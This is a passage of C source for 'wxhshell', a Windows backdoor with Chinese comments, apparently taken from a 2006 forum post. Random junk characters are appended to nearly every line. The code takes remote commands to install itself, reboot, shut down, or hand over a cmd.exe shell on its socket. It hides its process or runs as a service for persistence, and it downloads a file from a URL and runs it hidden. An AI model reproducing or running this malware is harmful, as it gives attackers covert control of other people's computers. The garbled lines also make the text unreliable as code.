  case '?': { v2+!1r7@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^tH#YlV4>9  
    break; hk>;pU(  
  } I?Aj.{{$G%  
  // 安装 )C%N]9FvY  
  case 'i': { kA wNly  
    if(Install()) i38[hQR9a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [I;^^#'P  
    else 5W? v'"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,*I@  
    break; g I]GUD-  
    } H%F>@(U  
  // 卸载 :G5uocVk  
  case 'r': { \e3`/D  
    if(Uninstall()) ^:=f^N=^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %G3(,Qz  
    else je/!{(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O,@~L$a:YZ  
    break; q'Wr[A40j  
    } >rsqH+oL  
  // 显示 wxhshell 所在路径 :4gLjzL  
  case 'p': { M~Ttb29{  
    char svExeFile[MAX_PATH]; Cq)IayD@  
    strcpy(svExeFile,"\n\r"); Ro(Zmk\t  
      strcat(svExeFile,ExeFile); (la[KqqCO  
        send(wsh,svExeFile,strlen(svExeFile),0); U_GgCI)  
    break; R(Kk{c:-@  
    } IiBD?}  
  // 重启 Px FWJ?=  
  case 'b': { DL'iS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x#.C4O09  
    if(Boot(REBOOT)) V5F%_,No  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UBv@+\Y8m  
    else { Vr[czfROz'  
    closesocket(wsh); _nh[(F<hz  
    ExitThread(0); yp.[HMRD  
    } kX`[Y@nUN  
    break; j=?'4sF  
    } SMH<'F7i  
  // 关机 M=qb^~ l  
  case 'd': { 1 rs&74-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DV)3  
    if(Boot(SHUTDOWN)) pCh2SQ(Q>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `o]g~AKX  
    else { #|GSQJ$F)`  
    closesocket(wsh); e=vsuqGT  
    ExitThread(0); eB> s=}|  
    } ew _-Eb  
    break; zq+o+o>xo  
    } 9^FziM  
  // 获取shell 5irwz4.4  
  case 's': { FGWN}&K  
    CmdShell(wsh); 94sk kEj  
    closesocket(wsh); j]|U  
    ExitThread(0); \s"U{N-  
    break; 4(6b(]G'#  
  } P O :"B6  
  // 退出 W14F  
  case 'x': { 2d%}- nw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZF7IL  
    CloseIt(wsh); mE`kjmX{E  
    break; RlT3Iz;  
    } <f@"HG l  
  // 离开 zZcnijWb  
  case 'q': { {@! Kx`(:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jHN +5=l  
    closesocket(wsh); ;Gx)Noo/>  
    WSACleanup(); O$/o'"@ /  
    exit(1); r(d':LV  
    break; 5DOBs f8Jo  
        } y[B>~m8$  
  } HK\~Qnq  
  } ~'37`)]z  
=K'cM=WM6  
  // 提示信息 # mize  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {7TlN.(  
} sGh(#A0Pt  
  } 2(5ebe[  
!Z VU,b>  
  return; ;%tF58&  
} `.s({/|[  
W>-Et7&2  
// shell模块句柄 A_Frk'{qhB  
int CmdShell(SOCKET sock) .EM`.  
{ 8-<:i  
STARTUPINFO si; 0TpK#OlI|c  
ZeroMemory(&si,sizeof(si)); qC F5~;7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ][}0#'/mV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O G<,- 7  
PROCESS_INFORMATION ProcessInfo; c'/l,k  
char cmdline[]="cmd"; |5Xq0nvCe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); __mF ?m  
  return 0; (/35p g6\  
} @gY)8xMbA  
4pw6bK,s2\  
// 自身启动模式 UAoh`6vFF8  
int StartFromService(void) )K &(  
{ MSf;ZB  
typedef struct ;M"9$M'  
{ N F)~W#  
  DWORD ExitStatus; :y7c k/>  
  DWORD PebBaseAddress; w$JvB5O  
  DWORD AffinityMask; Eke5Nb  
  DWORD BasePriority; |:8bNm5[  
  ULONG UniqueProcessId; boDt`2=  
  ULONG InheritedFromUniqueProcessId; }&_/PA0j  
}   PROCESS_BASIC_INFORMATION; 95el'K[R  
)"Ztlhs`#  
PROCNTQSIP NtQueryInformationProcess; d!eYqM7-G  
@)J+,tg/7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M4as  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;!(<s,c#:  
*z@>!8?  
  HANDLE             hProcess; j?'GZ d"B  
  PROCESS_BASIC_INFORMATION pbi; \rv<$d@L  
t!RiUZAo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5\z `-)  
  if(NULL == hInst ) return 0; SdD6 ~LS  
wI(M^8F_Mf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xh56T^,2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *}P~P$q%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gz .|]:1  
Hh+ 2mkg  
  if (!NtQueryInformationProcess) return 0; AK@9?_D  
'- zD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dAuJXGo  
  if(!hProcess) return 0; 82l~G;.n3  
Bve.C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HTG%t/S  
~3<> 3p  
  CloseHandle(hProcess); }_ 9Cxji  
d3xmtG {i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #ep`nf0x  
if(hProcess==NULL) return 0; 'inFKy'H  
zCk^B/j sM  
HMODULE hMod; EN/,5<S<,[  
char procName[255]; M3.do^ss  
unsigned long cbNeeded; {.XEL  
YPxM<Gfa8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .SWlp2!M5  
_*f`iu:`  
  CloseHandle(hProcess); 7 qS""f7  
_bNzXF  
if(strstr(procName,"services")) return 1; // 以服务启动 7Op>i,HZk\  
>7 ="8  
  return 0; // 注册表启动 i{`:(F5*  
} v/_  
c Vc-  
// 主模块 r]6C  
int StartWxhshell(LPSTR lpCmdLine) |:gf lseE  
{ nR*ryv  
  SOCKET wsl; m;,N)<~  
BOOL val=TRUE; mHRiugb!  
  int port=0; Z.Lc>7o  
  struct sockaddr_in door; 7<*yS310  
:=Nz }mUV  
  if(wscfg.ws_autoins) Install(); -qGa]a  
o2F)%TDY  
port=atoi(lpCmdLine); ?{[ v+t#  
J\b^)  
if(port<=0) port=wscfg.ws_port; u ,KD4{!  
Fe4(4  
  WSADATA data; p>huRp^w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h'{ C[d  
x<ZJb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [1S|dc>.O%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); " )1V]}+m  
  door.sin_family = AF_INET; cz8T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p^w;kN  
  door.sin_port = htons(port); 'd9INz.  
%#kg#@z_`e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %lGl,me H  
closesocket(wsl); t7aefV&_,  
return 1; HMNLa*CL'  
} 2fL;-\!y(  
H*PSR  
  if(listen(wsl,2) == INVALID_SOCKET) { eceP0x  
closesocket(wsl); fumm<:<CLO  
return 1; U2W|:~KM  
} SHfy".A6.0  
  Wxhshell(wsl); C&(N I  
  WSACleanup(); ds<2I,t  
``hf=`We  
return 0; ~x1$h#Cx'  
Q~#Wf ?  
} .(cw>7e3D  
R\!2l |_  
// 以NT服务方式启动 I=`U7Bis"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fj2BnM3#  
{ ,?^ p(w  
DWORD   status = 0; , s"^kFl  
  DWORD   specificError = 0xfffffff; N2;B-UF 7  
f6&iy$@   
  serviceStatus.dwServiceType     = SERVICE_WIN32; M/"I2m   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rX2.i7i,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {8W'%\!=  
  serviceStatus.dwWin32ExitCode     = 0; m;GCc8  
  serviceStatus.dwServiceSpecificExitCode = 0; wfLaRP  
  serviceStatus.dwCheckPoint       = 0; Pd_U7&w,5  
  serviceStatus.dwWaitHint       = 0; !Dn,^  
-lY6|79bF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4O^xY 6m  
  if (hServiceStatusHandle==0) return; 8;JWK3Gv  
'-Vt|O_Q  
status = GetLastError(); . 1Dg s=|  
  if (status!=NO_ERROR) I;wp':  
{ t.i 8 2Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;DfY#-  
    serviceStatus.dwCheckPoint       = 0; _@ qjV~%Sy  
    serviceStatus.dwWaitHint       = 0; 286jI7T  
    serviceStatus.dwWin32ExitCode     = status; pmyXLT  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2K/4Rf0;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L [pBB  
    return; <L8'!q}  
  } oqO(PU  
@@Kp67Iv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8V`WO6*  
  serviceStatus.dwCheckPoint       = 0; d:C'H8  
  serviceStatus.dwWaitHint       = 0; 2} /aFR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YYBDRR"  
} KQ% GIz x  
2DrP"iGq5  
// 处理NT服务事件,比如:启动、停止 z]_wjYn Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7x|9n  
{ ?N*>*"  
switch(fdwControl) ?]_$Dcmx  
{ iL-(O;n  
case SERVICE_CONTROL_STOP: f@wquG'  
  serviceStatus.dwWin32ExitCode = 0; KQ!8ks]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <KL,G};0pm  
  serviceStatus.dwCheckPoint   = 0; BYL)nCc  
  serviceStatus.dwWaitHint     = 0; spH7 /5}  
  { 1Y\DJ@lh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wDal5GJp  
  } }HYbS8'  
  return; 2lH&  
case SERVICE_CONTROL_PAUSE: nS }<-s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Fo5FNNiID  
  break; {HltvO%8  
case SERVICE_CONTROL_CONTINUE: $w`x vX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O:;w3u7;u  
  break; LM<qT-/qs  
case SERVICE_CONTROL_INTERROGATE: l *(8i ^  
  break; )l C)@H}  
}; O`IQ(,yef  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'T*&'RQr  
}  dVtG/0  
6_GhO@lOG  
// 标准应用程序主函数 itt3.:y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S6Q  
{ WUn]F~Lt  
vxBgGl  
// 获取操作系统版本 C!<Ou6}!b  
OsIsNt=GetOsVer(); H(ARw'M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~ D j8 z+^  
_YhES-Ff  
  // 从命令行安装 l`lk-nb  
  if(strpbrk(lpCmdLine,"iI")) Install(); {T$9?`h~M  
q_[o" wq/  
  // 下载执行文件 ]nn98y+  
if(wscfg.ws_downexe) { %D{6[8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i &nSh ]KK  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]g3JZF-  
} BO?%'\  
zZPO&akB"  
if(!OsIsNt) { :1QI8%L'$i  
// 如果时win9x,隐藏进程并且设置为注册表启动 =7=]{Cx[  
HideProc(); Uiw2oi&_  
StartWxhshell(lpCmdLine); 5uGq%(24  
} nfbR P t  
else GY'%+\*tj  
  if(StartFromService()) m]6mGp  
  // 以服务方式启动 L\J;J%fz.  
  StartServiceCtrlDispatcher(DispatchTable); `,<BCu  
else hn G Z=  
  // 普通方式启动 PJ|P1O36a  
  StartWxhshell(lpCmdLine); me$Z~/Akm  
gD @){Ip  
return 0;  JYI,N  
}
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只看该作者 1 发表于: 2006-10-10
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